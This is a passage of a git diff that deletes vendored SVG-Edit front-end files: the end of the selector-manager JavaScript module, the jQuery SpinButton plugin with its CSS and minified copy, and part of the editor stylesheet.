-			'sw': [nbax, nbay+nbah],
-			'se': [nbax+nbaw, nbay+nbah],
-			'n':  [nbax + (nbaw)/2, nbay],
-			'w':	[nbax, nbay + (nbah)/2],
-			'e':	[nbax + nbaw, nbay + (nbah)/2],
-			's':	[nbax + (nbaw)/2, nbay + nbah]
-		};
-
-		for(var dir in this.gripCoords) {
-			var coords = this.gripCoords[dir];
-			selectedGrips[dir].setAttribute('cx', coords[0]);
-			selectedGrips[dir].setAttribute('cy', coords[1]);
-		};
-
-		// we want to go 20 pixels in the negative transformed y direction, ignoring scale
-		mgr.rotateGripConnector.setAttribute('x1', nbax + (nbaw)/2);
-		mgr.rotateGripConnector.setAttribute('y1', nbay);
-		mgr.rotateGripConnector.setAttribute('x2', nbax + (nbaw)/2);
-		mgr.rotateGripConnector.setAttribute('y2', nbay - 20);
-
-		mgr.rotateGrip.setAttribute('cx', nbax + (nbaw)/2); 
-		mgr.rotateGrip.setAttribute('cy', nbay - 20);
-//	}
-
-	svgFactory_.svgRoot().unsuspendRedraw(sr_handle);
-};
-
-
-// Class: svgedit.select.SelectorManager
-svgedit.select.SelectorManager = function() {
-	// this will hold the <g> element that contains all selector rects/grips
-	this.selectorParentGroup = null;
-
-	// this is a special rect that is used for multi-select
-	this.rubberBandBox = null;
-
-	// this will hold objects of type svgedit.select.Selector (see above)
-	this.selectors = [];
-
-	// this holds a map of SVG elements to their Selector object
-	this.selectorMap = {};
-
-	// this holds a reference to the grip elements
-	this.selectorGrips = {
-		'nw': null,
-		'n' :  null,
-		'ne': null,
-		'e' :  null,
-		'se': null,
-		's' :  null,
-		'sw': null,
-		'w' :  null
-	};
-
-	this.selectorGripsGroup = null;
-	this.rotateGripConnector = null;
-	this.rotateGrip = null;
-
-	this.initGroup();
-};
-
-// Function: svgedit.select.SelectorManager.initGroup
-// Resets the parent selector group element
-svgedit.select.SelectorManager.prototype.initGroup = function() {
-	// remove old selector parent group if it existed
-	if (this.selectorParentGroup && this.selectorParentGroup.parentNode) {
-		this.selectorParentGroup.parentNode.removeChild(this.selectorParentGroup);
-	}
-
-	// create parent selector group and add it to svgroot
-	this.selectorParentGroup = svgFactory_.createSVGElement({
-		'element': 'g',
-		'attr': {'id': 'selectorParentGroup'}
-	});
-	this.selectorGripsGroup = svgFactory_.createSVGElement({
-		'element': 'g',
-		'attr': {'display': 'none'}
-	});
-	this.selectorParentGroup.appendChild(this.selectorGripsGroup);
-	svgFactory_.svgRoot().appendChild(this.selectorParentGroup);
-
-	this.selectorMap = {};
-	this.selectors = [];
-	this.rubberBandBox = null;
-
-	// add the corner grips
-	for (var dir in this.selectorGrips) {
-		var grip = svgFactory_.createSVGElement({
-			'element': 'circle',
-			'attr': {
-				'id': ('selectorGrip_resize_' + dir),
-				'fill': '#22C',
-				'r': 4,
-				'style': ('cursor:' + dir + '-resize'),
-				// This expands the mouse-able area of the grips making them
-				// easier to grab with the mouse.
-				// This works in Opera and WebKit, but does not work in Firefox
-				// see https://bugzilla.mozilla.org/show_bug.cgi?id=500174
-				'stroke-width': 2,
-				'pointer-events': 'all'
-			}
-		});
-		
-		$.data(grip, 'dir', dir);
-		$.data(grip, 'type', 'resize');
-		this.selectorGrips[dir] = this.selectorGripsGroup.appendChild(grip);
-	}
-
-	// add rotator elems
-	this.rotateGripConnector = this.selectorGripsGroup.appendChild(
-		svgFactory_.createSVGElement({
-			'element': 'line',
-			'attr': {
-				'id': ('selectorGrip_rotateconnector'),
-				'stroke': '#22C',
-				'stroke-width': '1'
-			}
-		})
-	);
-
-	this.rotateGrip = this.selectorGripsGroup.appendChild(
-		svgFactory_.createSVGElement({
-			'element': 'circle',
-			'attr': {
-				'id': 'selectorGrip_rotate',
-				'fill': 'lime',
-				'r': 4,
-				'stroke': '#22C',
-				'stroke-width': 2,
-				'style': 'cursor:url(' + config_.imgPath + 'rotate.png) 12 12, auto;'
-			}
-		})
-	);
-	$.data(this.rotateGrip, 'type', 'rotate');
-
-	if($('#canvasBackground').length) return;
-
-	var dims = config_.dimensions;
-	var canvasbg = svgFactory_.createSVGElement({
-		'element': 'svg',
-		'attr': {
-			'id': 'canvasBackground',
-			'width': dims[0],
-			'height': dims[1],
-			'x': 0,
-			'y': 0,
-			'overflow': (svgedit.browser.isWebkit() ? 'none' : 'visible'), // Chrome 7 has a problem with this when zooming out
-			'style': 'pointer-events:none'
-		}
-	});
-
-	var rect = svgFactory_.createSVGElement({
-		'element': 'rect',
-		'attr': {
-			'width': '100%',
-			'height': '100%',
-			'x': 0,
-			'y': 0,
-			'stroke-width': 1,
-			'stroke': '#000',
-			'fill': '#FFF',
-			'style': 'pointer-events:none'
-		}
-	});
-
-	// Both Firefox and WebKit are too slow with this filter region (especially at higher
-	// zoom levels) and Opera has at least one bug
-//	if (!svgedit.browser.isOpera()) rect.setAttribute('filter', 'url(#canvashadow)');
-	canvasbg.appendChild(rect);
-	svgFactory_.svgRoot().insertBefore(canvasbg, svgFactory_.svgContent());
-};
-
-// Function: svgedit.select.SelectorManager.requestSelector
-// Returns the selector based on the given element
-//
-// Parameters:
-// elem - DOM element to get the selector for
-svgedit.select.SelectorManager.prototype.requestSelector = function(elem) {
-	if (elem == null) return null;
-	var N = this.selectors.length;
-	// If we've already acquired one for this element, return it.
-	if (typeof(this.selectorMap[elem.id]) == 'object') {
-		this.selectorMap[elem.id].locked = true;
-		return this.selectorMap[elem.id];
-	}
-	for (var i = 0; i < N; ++i) {
-		if (this.selectors[i] && !this.selectors[i].locked) {
-			this.selectors[i].locked = true;
-			this.selectors[i].reset(elem);
-			this.selectorMap[elem.id] = this.selectors[i];
-			return this.selectors[i];
-		}
-	}
-	// if we reached here, no available selectors were found, we create one
-	this.selectors[N] = new svgedit.select.Selector(N, elem);
-	this.selectorParentGroup.appendChild(this.selectors[N].selectorGroup);
-	this.selectorMap[elem.id] = this.selectors[N];
-	return this.selectors[N];
-};
-
-// Function: svgedit.select.SelectorManager.releaseSelector
-// Removes the selector of the given element (hides selection box) 
-//
-// Parameters:
-// elem - DOM element to remove the selector for
-svgedit.select.SelectorManager.prototype.releaseSelector = function(elem) {
-	if (elem == null) return;
-	var N = this.selectors.length,
-		sel = this.selectorMap[elem.id];
-	for (var i = 0; i < N; ++i) {
-		if (this.selectors[i] && this.selectors[i] == sel) {
-			if (sel.locked == false) {
-				// TODO(codedread): Ensure this exists in this module.
-				console.log('WARNING! selector was released but was already unlocked');
-			}
-			delete this.selectorMap[elem.id];
-			sel.locked = false;
-			sel.selectedElement = null;
-			sel.showGrips(false);
-
-			// remove from DOM and store reference in JS but only if it exists in the DOM
-			try {
-				sel.selectorGroup.setAttribute('display', 'none');
-			} catch(e) { }
-
-			break;
-		}
-	}
-};
-
-// Function: svgedit.select.SelectorManager.getRubberBandBox
-// Returns the rubberBandBox DOM element. This is the rectangle drawn by the user for selecting/zooming
-svgedit.select.SelectorManager.prototype.getRubberBandBox = function() {
-	if (!this.rubberBandBox) {
-		this.rubberBandBox = this.selectorParentGroup.appendChild(
-			svgFactory_.createSVGElement({
-				'element': 'rect',
-				'attr': {
-					'id': 'selectorRubberBand',
-					'fill': '#22C',
-					'fill-opacity': 0.15,
-					'stroke': '#22C',
-					'stroke-width': 0.5,
-					'display': 'none',
-					'style': 'pointer-events:none'
-				}
-			})
-		);
-	}
-	return this.rubberBandBox;
-};
-
-
-/**
- * Interface: svgedit.select.SVGFactory
- * An object that creates SVG elements for the canvas.
- *
- * interface svgedit.select.SVGFactory {
- *   SVGElement createSVGElement(jsonMap);
- *   SVGSVGElement svgRoot();
- *   SVGSVGElement svgContent();
- *
- *   Number currentZoom();
- *   Object getStrokedBBox(Element[]); // TODO(codedread): Remove when getStrokedBBox() has been put into svgutils.js
- * }
- */
-
-/**
- * Function: svgedit.select.init()
- * Initializes this module.
- *
- * Parameters:
- * config - an object containing configurable parameters (imgPath)
- * svgFactory - an object implementing the SVGFactory interface (see above).
- */
-svgedit.select.init = function(config, svgFactory) {
-	config_ = config;
-	svgFactory_ = svgFactory;
-	selectorManager_ = new svgedit.select.SelectorManager();
-};
-
-/**
- * Function: svgedit.select.getSelectorManager
- *
- * Returns:
- * The SelectorManager instance.
- */
-svgedit.select.getSelectorManager = function() {
-	return selectorManager_;
-};
-
-})();
\ No newline at end of file
diff --git a/public/svg-edit/editor/spinbtn/JQuerySpinBtn.css b/public/svg-edit/editor/spinbtn/JQuerySpinBtn.css
deleted file mode 100644
index 7a279a09..00000000
--- a/public/svg-edit/editor/spinbtn/JQuerySpinBtn.css
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
-	Styles to make ordinary <INPUT type="text"/> look like a spinbutton/spinbox control.
-	Use with JQuerySpinBtn.js to provide the spin functionality by reacting to mouse etc.
-	(Requires a reference to the JQuery library found at http://jquery.com/src/latest/)
-	(Hats-off to John Resig for creating the excellent JQuery library. It is fab.)
-
-	This control is achieved with no extra html markup whatsoever and uses unobtrusive javascript.
-
-	Written by George Adamson, Software Unity (george.jquery@softwareunity.com) September 2006.
-	Big improvements added by Mark Gibson, (mgibson@designlinks.net) September 2006.
-
-	Do contact me with comments and suggestions but please don't ask for support.
-	As much as I'd love to help with specific problems I have plenty to get on with already!
-
-	Go ahead and use it in your own projects. This code is provided 'as is'.
-	Sure I've tested in heaps of ways. Its good for me, but you use it at your own risk.
-	SoftwareUnity and I are certainly not responsible if your computer sets fire to the sofa,
-	hacks into the pentagon, hijacks a plane or gives you any kind of hassle whatsoever.
-
-	If you'd like your spin-button image in a different place then you'll need to alter both
-	the CSS below and the javascript isMouseOverUpDn() function to accommodate the new position.
-	You could even have left and right buttons either side of the textbox.
-*/
-
-INPUT.spin-button {
-	/* explicitly put padding for top/bottom/left in here so that Opera displays it better */
-	padding: 2px 20px 2px 2px;
-	background-repeat:no-repeat;		/* Warning: Img may disappear in Firefox if you use 'background-attachment:fixed' ! */
-	background-position:100% 0%;
-	background-image:url('spinbtn_updn.png');
-	background-color:white; /* Needed for Opera */
-}
-
-INPUT.spin-button.up {					/* Change button img when mouse is over the UP-arrow */
-	cursor:pointer;
-	background-position:100% -18px;		/* 18px matches height of 2 visible buttons */
-}
-INPUT.spin-button.down {				/* Change button img when mouse is over the DOWN-arrow */
-	cursor:pointer;
-	background-position:100% -36px;		/* 36px matches height of 2x2 visible buttons */
-}
diff --git a/public/svg-edit/editor/spinbtn/JQuerySpinBtn.js b/public/svg-edit/editor/spinbtn/JQuerySpinBtn.js
deleted file mode 100644
index 77f924ed..00000000
--- a/public/svg-edit/editor/spinbtn/JQuerySpinBtn.js
+++ /dev/null
@@ -1,266 +0,0 @@
-/* SpinButton control
- *
- * Adds bells and whistles to any ordinary textbox to
- * make it look and feel like a SpinButton Control.
- *
- * Originally written by George Adamson, Software Unity (george.jquery@softwareunity.com) August 2006.
- * - Added min/max options
- * - Added step size option
- * - Added bigStep (page up/down) option
- *
- * Modifications made by Mark Gibson, (mgibson@designlinks.net) September 2006:
- * - Converted to jQuery plugin
- * - Allow limited or unlimited min/max values
- * - Allow custom class names, and add class to input element
- * - Removed global vars
- * - Reset (to original or through config) when invalid value entered
- * - Repeat whilst holding mouse button down (with initial pause, like keyboard repeat)
- * - Support mouse wheel in Firefox
- * - Fix double click in IE
- * - Refactored some code and renamed some vars
- *
- * Modifications by Jeff Schiller, June 2009:
- * - provide callback function for when the value changes based on the following
- *   http://www.mail-archive.com/jquery-en@googlegroups.com/msg36070.html
- * Modifications by Jeff Schiller, July 2009:
- * - improve styling for widget in Opera
- * - consistent key-repeat handling cross-browser
- * Modifications by Alexis Deveria, October 2009:
- * - provide "stepfunc" callback option to allow custom function to run when changing a value
- * - Made adjustValue(0) only run on certain keyup events, not all.
- *
- * Tested in IE6, Opera9, Firefox 1.5
- * v1.0  11 Aug 2006 - George Adamson	- First release
- * v1.1     Aug 2006 - George Adamson	- Minor enhancements
- * v1.2  27 Sep 2006 - Mark Gibson		- Major enhancements
- * v1.3a 28 Sep 2006 - George Adamson	- Minor enhancements
- * v1.4  18 Jun 2009 - Jeff Schiller    - Added callback function
- * v1.5  06 Jul 2009 - Jeff Schiller    - Fixes for Opera.  
- * v1.6  13 Oct 2009 - Alexis Deveria   - Added stepfunc function  
- * v1.7  21 Oct 2009 - Alexis Deveria   - Minor fixes
- *                                        Fast-repeat for keys and live updating as you type.
- * v1.8  12 Jan 2010 - Benjamin Thomas  - Fixes for mouseout behavior.
- *                                        Added smallStep
- 
- Sample usage:
- 
-	// Create group of settings to initialise spinbutton(s). (Optional)
-	var myOptions = {
-					min: 0,						// Set lower limit.
-					max: 100,					// Set upper limit.
-					step: 1,					// Set increment size.
-					smallStep: 0.5,				// Set shift-click increment size.
-					spinClass: mySpinBtnClass,	// CSS class to style the spinbutton. (Class also specifies url of the up/down button image.)
-					upClass: mySpinUpClass,		// CSS class for style when mouse over up button.
-					downClass: mySpinDnClass	// CSS class for style when mouse over down button.
-					}
- 
-	$(document).ready(function(){
-
-		// Initialise INPUT element(s) as SpinButtons: (passing options if desired)
-		$("#myInputElement").SpinButton(myOptions);
-
-	});
- 
- */
-$.fn.SpinButton = function(cfg){
-	return this.each(function(){
-
-		this.repeating = false;
-		
-		// Apply specified options or defaults:
-		// (Ought to refactor this some day to use $.extend() instead)
-		this.spinCfg = {
-			//min: cfg && cfg.min ? Number(cfg.min) : null,
-			//max: cfg && cfg.max ? Number(cfg.max) : null,
-			min: cfg && !isNaN(parseFloat(cfg.min)) ? Number(cfg.min) : null,	// Fixes bug with min:0
-			max: cfg && !isNaN(parseFloat(cfg.max)) ? Number(cfg.max) : null,
-			step: cfg && cfg.step ? Number(cfg.step) : 1,
-			stepfunc: cfg && cfg.stepfunc ? cfg.stepfunc : false,
-			page: cfg && cfg.page ? Number(cfg.page) : 10,
-			upClass: cfg && cfg.upClass ? cfg.upClass : 'up',
-			downClass: cfg && cfg.downClass ? cfg.downClass : 'down',
-			reset: cfg && cfg.reset ? cfg.reset : this.value,
-			delay: cfg && cfg.delay ? Number(cfg.delay) : 500,
-			interval: cfg && cfg.interval ? Number(cfg.interval) : 100,
-			_btn_width: 20,
-			_direction: null,
-			_delay: null,
-			_repeat: null,
-			callback: cfg && cfg.callback ? cfg.callback : null
-		};
-
-		// if a smallStep isn't supplied, use half the regular step
-		this.spinCfg.smallStep = cfg && cfg.smallStep ? cfg.smallStep : this.spinCfg.step/2;
-		
-		this.adjustValue = function(i){
-			var v;
-			if(isNaN(this.value)) {
-				v = this.spinCfg.reset;
-			} else if($.isFunction(this.spinCfg.stepfunc)) {
-				v = this.spinCfg.stepfunc(this, i);
-			} else {
-				// weirdest javascript bug ever: 5.1 + 0.1 = 5.199999999
-				v = Number((Number(this.value) + Number(i)).toFixed(5));
-			}
-			if (this.spinCfg.min !== null) v = Math.max(v, this.spinCfg.min);
-			if (this.spinCfg.max !== null) v = Math.min(v, this.spinCfg.max);
-			this.value = v;
-			if ($.isFunction(this.spinCfg.callback)) this.spinCfg.callback(this);
-		};
-		
-		$(this)
-		.addClass(cfg && cfg.spinClass ? cfg.spinClass : 'spin-button')
-		
-		.mousemove(function(e){
-			// Determine which button mouse is over, or not (spin direction):
-			var x = e.pageX || e.x;
-			var y = e.pageY || e.y;
-			var el = e.target || e.srcElement;
-			var scale = svgEditor.tool_scale || 1;
-			var height = $(el).height()/2;
-			
-			var direction = 
-				(x > coord(el,'offsetLeft') + el.offsetWidth*scale - this.spinCfg._btn_width)
-				? ((y < coord(el,'offsetTop') + height*scale) ? 1 : -1) : 0;
-			
-			if (direction !== this.spinCfg._direction) {
-				// Style up/down buttons:
-				switch(direction){
-					case 1: // Up arrow:
-						$(this).removeClass(this.spinCfg.downClass).addClass(this.spinCfg.upClass);
-						break;
-					case -1: // Down arrow:
-						$(this).removeClass(this.spinCfg.upClass).addClass(this.spinCfg.downClass);
-						break;
-					default: // Mouse is elsewhere in the textbox
-						$(this).removeClass(this.spinCfg.upClass).removeClass(this.spinCfg.downClass);
-				}
-				
-				// Set spin direction:
-				this.spinCfg._direction = direction;
-			}
-		})
-		
-		.mouseout(function(){
-			// Reset up/down buttons to their normal appearance when mouse moves away:
-			$(this).removeClass(this.spinCfg.upClass).removeClass(this.spinCfg.downClass);
-			this.spinCfg._direction = null;
-			window.clearInterval(this.spinCfg._repeat);
-			window.clearTimeout(this.spinCfg._delay);
-		})
-		
-		.mousedown(function(e){
-			if ( e.button === 0 && this.spinCfg._direction != 0) {
-				// Respond to click on one of the buttons:
-				var self = this;
-				var stepSize = e.shiftKey ? self.spinCfg.smallStep : self.spinCfg.step
-
-				var adjust = function() {
-					self.adjustValue(self.spinCfg._direction * stepSize);
-				};
-			
-				adjust();
-				
-				// Initial delay before repeating adjustment
-				self.spinCfg._delay = window.setTimeout(function() {
-					adjust();
-					// Repeat adjust at regular intervals
-					self.spinCfg._repeat = window.setInterval(adjust, self.spinCfg.interval);
-				}, self.spinCfg.delay);
-			}
-		})
-		
-		.mouseup(function(e){
-			// Cancel repeating adjustment
-			window.clearInterval(this.spinCfg._repeat);
-			window.clearTimeout(this.spinCfg._delay);
-		})
-		
-		.dblclick(function(e) {
-			if ($.browser.msie)
-				this.adjustValue(this.spinCfg._direction * this.spinCfg.step);
-		})
-		
-		.keydown(function(e){
-			// Respond to up/down arrow keys.
-			switch(e.keyCode){
-				case 38: this.adjustValue(this.spinCfg.step);  break; // Up
-				case 40: this.adjustValue(-this.spinCfg.step); break; // Down
-				case 33: this.adjustValue(this.spinCfg.page);  break; // PageUp
-				case 34: this.adjustValue(-this.spinCfg.page); break; // PageDown
-			}
-		})
-		
-		/*
-		http://unixpapa.com/js/key.html describes the current state-of-affairs for
-		key repeat events:
-		- Safari 3.1 changed their model so that keydown is reliably repeated going forward
-		- Firefox and Opera still only repeat the keypress event, not the keydown
-		*/
-		.keypress(function(e){
-			if (this.repeating) {
-				// Respond to up/down arrow keys.
-				switch(e.keyCode){
-					case 38: this.adjustValue(this.spinCfg.step);  break; // Up
-					case 40: this.adjustValue(-this.spinCfg.step); break; // Down
-					case 33: this.adjustValue(this.spinCfg.page);  break; // PageUp
-					case 34: this.adjustValue(-this.spinCfg.page); break; // PageDown
-				}
-			} 
-			// we always ignore the first keypress event (use the keydown instead)
-			else {
-				this.repeating = true;
-			}
-		})
-		
-		// clear the 'repeating' flag
-		.keyup(function(e) {
-			this.repeating = false;
-			switch(e.keyCode){
-				case 38: // Up
-				case 40: // Down
-				case 33: // PageUp
-				case 34: // PageDown
-				case 13: this.adjustValue(0); break; // Enter/Return
-			}
-		})
-		
-		.bind("mousewheel", function(e){
-			// Respond to mouse wheel in IE. (It returns up/dn motion in multiples of 120)
-			if (e.wheelDelta >= 120)
-				this.adjustValue(this.spinCfg.step);
-			else if (e.wheelDelta <= -120)
-				this.adjustValue(-this.spinCfg.step);
-			
-			e.preventDefault();
-		})
-		
-		.change(function(e){
-			this.adjustValue(0);
-		});
-		
-		if (this.addEventListener) {
-			// Respond to mouse wheel in Firefox
-			this.addEventListener('DOMMouseScroll', function(e) {
-				if (e.detail > 0)
-					this.adjustValue(-this.spinCfg.step);
-				else if (e.detail < 0)
-					this.adjustValue(this.spinCfg.step);
-				
-				e.preventDefault();
-			}, false);
-		}
-	});
-	
-	function coord(el,prop) {
-		var c = el[prop], b = document.body;
-		
-		while ((el = el.offsetParent) && (el != b)) {
-			if (!$.browser.msie || (el.currentStyle.position != 'relative'))
-				c += el[prop];
-		}
-		
-		return c;
-	}
-};
diff --git a/public/svg-edit/editor/spinbtn/JQuerySpinBtn.min.js b/public/svg-edit/editor/spinbtn/JQuerySpinBtn.min.js
deleted file mode 100644
index f7532073..00000000
--- a/public/svg-edit/editor/spinbtn/JQuerySpinBtn.min.js
+++ /dev/null
@@ -1,7 +0,0 @@
-$.fn.SpinButton=function(b){function f(a,c){for(var e=a[c],d=document.body;(a=a.offsetParent)&&a!=d;)if(!$.browser.msie||a.currentStyle.position!="relative")e+=a[c];return e}return this.each(function(){this.repeating=false;this.spinCfg={min:b&&!isNaN(parseFloat(b.min))?Number(b.min):null,max:b&&!isNaN(parseFloat(b.max))?Number(b.max):null,step:b&&b.step?Number(b.step):1,stepfunc:b&&b.stepfunc?b.stepfunc:false,page:b&&b.page?Number(b.page):10,upClass:b&&b.upClass?b.upClass:"up",downClass:b&&b.downClass?
-b.downClass:"down",reset:b&&b.reset?b.reset:this.value,delay:b&&b.delay?Number(b.delay):500,interval:b&&b.interval?Number(b.interval):100,_btn_width:20,_direction:null,_delay:null,_repeat:null,callback:b&&b.callback?b.callback:null};this.spinCfg.smallStep=b&&b.smallStep?b.smallStep:this.spinCfg.step/2;this.adjustValue=function(a){a=isNaN(this.value)?this.spinCfg.reset:$.isFunction(this.spinCfg.stepfunc)?this.spinCfg.stepfunc(this,a):Number((Number(this.value)+Number(a)).toFixed(5));if(this.spinCfg.min!==
-null)a=Math.max(a,this.spinCfg.min);if(this.spinCfg.max!==null)a=Math.min(a,this.spinCfg.max);this.value=a;$.isFunction(this.spinCfg.callback)&&this.spinCfg.callback(this)};$(this).addClass(b&&b.spinClass?b.spinClass:"spin-button").mousemove(function(a){var c=a.pageX||a.x,e=a.pageY||a.y;a=a.target||a.srcElement;var d=svgEditor.tool_scale||1,g=$(a).height()/2;c=c>f(a,"offsetLeft")+a.offsetWidth*d-this.spinCfg._btn_width?e<f(a,"offsetTop")+g*d?1:-1:0;if(c!==this.spinCfg._direction){switch(c){case 1:$(this).removeClass(this.spinCfg.downClass).addClass(this.spinCfg.upClass);
-break;case -1:$(this).removeClass(this.spinCfg.upClass).addClass(this.spinCfg.downClass);break;default:$(this).removeClass(this.spinCfg.upClass).removeClass(this.spinCfg.downClass)}this.spinCfg._direction=c}}).mouseout(function(){$(this).removeClass(this.spinCfg.upClass).removeClass(this.spinCfg.downClass);this.spinCfg._direction=null;window.clearInterval(this.spinCfg._repeat);window.clearTimeout(this.spinCfg._delay)}).mousedown(function(a){if(a.button===0&&this.spinCfg._direction!=0){var c=this,
-e=a.shiftKey?c.spinCfg.smallStep:c.spinCfg.step,d=function(){c.adjustValue(c.spinCfg._direction*e)};d();c.spinCfg._delay=window.setTimeout(function(){d();c.spinCfg._repeat=window.setInterval(d,c.spinCfg.interval)},c.spinCfg.delay)}}).mouseup(function(){window.clearInterval(this.spinCfg._repeat);window.clearTimeout(this.spinCfg._delay)}).dblclick(function(){$.browser.msie&&this.adjustValue(this.spinCfg._direction*this.spinCfg.step)}).keydown(function(a){switch(a.keyCode){case 38:this.adjustValue(this.spinCfg.step);
-break;case 40:this.adjustValue(-this.spinCfg.step);break;case 33:this.adjustValue(this.spinCfg.page);break;case 34:this.adjustValue(-this.spinCfg.page)}}).keypress(function(a){if(this.repeating)switch(a.keyCode){case 38:this.adjustValue(this.spinCfg.step);break;case 40:this.adjustValue(-this.spinCfg.step);break;case 33:this.adjustValue(this.spinCfg.page);break;case 34:this.adjustValue(-this.spinCfg.page)}else this.repeating=true}).keyup(function(a){this.repeating=false;switch(a.keyCode){case 38:case 40:case 33:case 34:case 13:this.adjustValue(0)}}).bind("mousewheel",
-function(a){if(a.wheelDelta>=120)this.adjustValue(this.spinCfg.step);else a.wheelDelta<=-120&&this.adjustValue(-this.spinCfg.step);a.preventDefault()}).change(function(){this.adjustValue(0)});this.addEventListener&&this.addEventListener("DOMMouseScroll",function(a){if(a.detail>0)this.adjustValue(-this.spinCfg.step);else a.detail<0&&this.adjustValue(this.spinCfg.step);a.preventDefault()},false)})};
\ No newline at end of file
diff --git a/public/svg-edit/editor/spinbtn/spinbtn_updn.png b/public/svg-edit/editor/spinbtn/spinbtn_updn.png
deleted file mode 100644
index 8baa1b0c..00000000
Binary files a/public/svg-edit/editor/spinbtn/spinbtn_updn.png and /dev/null differ
diff --git a/public/svg-edit/editor/svg-editor.css b/public/svg-edit/editor/svg-editor.css
deleted file mode 100644
index c394e455..00000000
--- a/public/svg-edit/editor/svg-editor.css
+++ /dev/null
@@ -1,1420 +0,0 @@
-body {
-	background: #D0D0D0;
-}
-
-html, body, div{
-        -webkit-user-select: text;
-        -khtml-user-select: text;
-        -moz-user-select: text;
-        -o-user-select: none;
-        user-select: text;
-	/* this will work for QtWebKit in future */
-	-webkit-user-drag: text;
-}
-
-#browser-not-supported {
-        font-size: 0.8em;
-        font-family: Verdana, Helvetica, Arial;
-        color: #000000;
-}
-
-
-#svg_editor * {
-	transform-origin: 0 0;
-	-moz-transform-origin: 0 0;
-	-o-transform-origin: 0 0;
-	-webkit-transform-origin: 0 0;
-}
-
-#svg_editor {
-	font-size: 8pt;
-	font-family: Verdana, Helvetica, Arial;
-	color: #000000;
-}
-
-#svg_editor a {
-	color: #0000FF;
-}
-
-#svg_editor hr {
-	border: none;
-	border-bottom: 1px solid #808080;
-}
-
-#svg_editor select {
-	margin-top: 4px;
-}
-
-#svg_editor #svgroot {
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	position: absolute;
-	top: 0;
-	left: 0;
-}
-
-#svg_editor #svgcanvas {
-	line-height: normal;
-	display: inline-block;
-	background-color: #A0A0A0;
-	text-align: center;
-	vertical-align: middle;
-	width: 640px;
-	height: 480px;
-	-apple-dashboard-region:dashboard-region(control rectangle 0px 0px 0px 0px); /* for widget regions that shouldn't react to dragging */
-	position: relative;
-	/* 
-	  A subtle gradient effect in the canvas.
-	  Just experimenting - not sure if this is worth it.
-	*/
-	background: -moz-radial-gradient(45deg,#bbb,#222);
-	background: -webkit-gradient(radial, center center, 3, center center, 1000, from(#bbb), to(#222));
-}
-
-#rulers > div {
-	position: absolute;
-	background: #DDD;
-	z-index: 1;
-	overflow: hidden;
-}
-
-#ruler_corner {
-	top: 76px;
-	left: 41px;
-	width: 15px;
-	height: 15px;
-}
-
-#ruler_x {
-	height: 15px;
-	top: 76px;
-	left: 56px;
-	right: 30px;
-	border-bottom: 1px solid;
-	border-left: 1px solid #777;
-}
-
-#rulers.moved #ruler_corner,
-#rulers.moved #ruler_x {
-	top: 101px;
-}
-
-#ruler_y {
-	width: 15px;
-	top: 91px;
-	left: 41px;
-	bottom: 78px;
-	border-right: 1px solid;
-	border-top: 1px solid #777;
-}
-
-#rulers.moved #ruler_y {
-	top: 116px;
-}
-
-
-#ruler_x canvas:first-child {
-	margin-left: -16px;
-}
-
-#ruler_x canvas {
-	float: left;
-}
-
-#ruler_y canvas {
-	margin-top: -16px;
-}
-
-#ruler_x > div, 
-#ruler_y > div {
-	overflow: hidden;
-}
-
-
-
-
-#svg_editor div#palette_holder {
-	overflow-x: scroll;
-	overflow-y: hidden;
-	height: 31px;
-	border: 1px solid #808080;
-	border-top: none;
-	margin-top: 2px;
-	margin-left: 4px;
-	position: relative;
-	z-index: 2;
-}
-
-#svg_editor #stroke_bg, 
-#svg_editor #fill_bg {
-	height: 16px;
-	width: 16px;
-	margin: 1px;
-}
-
-#svg_editor #fill_color, #svg_editor #stroke_color {
-	height: 16px;
-	width: 16px;
-	border: 1px solid #808080;
-	cursor: pointer;
-	margin-top: -18px;
-	margin-left: 1px;
-}
-
-#tool_stroke select {
-	margin-top: 0;
-}
-
-#svg_editor #color_tools .icon_label {
-	padding: 3px 19%;
-	width: 28px;
-	height: 100%;
-	cursor: pointer;
-	
-}
-
-#svg_editor #group_opacityLabel, 
-#svg_editor #zoomLabel {
-	cursor: pointer;
-	margin-right: 5px;
-	padding-top: 4px
-}
-
-#svg_editor #linkLabel > svg {
-	height: 20px;
-	padding-top: 4px;
-}
-
-#color_tools .icon_label > * {
-	position: relative;
-	top: 1px;
-}
-
-#svg_editor div#palette {
-	float: left;
-	width: 672px;
-	height: 16px;
-}
-
-#svg_editor div#workarea {
-	display: inline-table-cell;
-	position:absolute;
-	top: 75px;
-	left: 40px;
-	bottom: 62px;
-	right: 14px;
-	background-color: #A0A0A0;
-	border: 1px solid #808080;
-	overflow: auto;
-	text-align: center;
-}
-
-#svg_editor #sidepanels {
-	display: inline-block;
-	position:absolute;
-	top: 75px;
-	bottom: 60px;
-	right: 0px;
-	width: 2px;
-	padding: 10px;
-	border-color: #808080;
-	border-style: solid;
-	border-width: 1px;
-	border-left: none;
-}
-
-#svg_editor #layerpanel {
-	display: inline-block;
-	position:absolute;
-	top: 1px;
-	bottom: 0px;
-	right: 0px;
-	width: 0px;
-	overflow: auto;
-	margin: 0px;
-	-moz-user-select: none;
-	-webkit-user-select: none;
-
-}
-
-/*
-	border-style: solid;
-	border-color: #666;
-	border-width: 0px 0px 0px 1px;	
-*/
-#svg_editor #sidepanel_handle {
-	display: inline-block;
-	position: absolute;
-	background-color: #D0D0D0;
-	font-weight: bold;
-	left: 0px;
-	top: 40%;
-	width: 1em;
-	padding: 5px 1px 5px 5px;
-	margin-left: 3px;
-	cursor: pointer;
-	border-radius: 5px;
-	-moz-border-radius: 5px;
-	-webkit-border-radius: 5px;
-	-moz-user-select: none;
-	-webkit-user-select: none;
-}
-
-#svg_editor #sidepanel_handle:hover {
-	font-weight: bold;
-}
-
-#svg_editor #sidepanel_handle * {
-	cursor: pointer;
-	-moz-user-select: none;
-	-webkit-user-select: none;
-}
-#svg_editor #layerbuttons {
-	margin: 0px;
-	padding: 0px;
-	padding-left: 2px;
-	padding-right: 2px;
-	width: 125px;
-	height: 20px;
-	border-right: 1px solid #FFFFFF;
-	border-bottom: 1px solid #FFFFFF;
-	border-left: 1px solid #808080;
-	border-top: 1px solid #808080;
-	overflow: hidden;
-}
-
-#svg_editor .layer_button {
-	width: 14px;
-	height: 14px;
-	padding: 1px;
-	border-left: 1px solid #FFFFFF;
-	border-top: 1px solid #FFFFFF;
-	border-right: 1px solid #808080;
-	border-bottom: 1px solid #808080;
-	cursor: pointer;
-	float: left;
-	margin-right: 3px;
-}
-
-#svg_editor .layer_button:last-child {
-	margin-right: 0;
-}
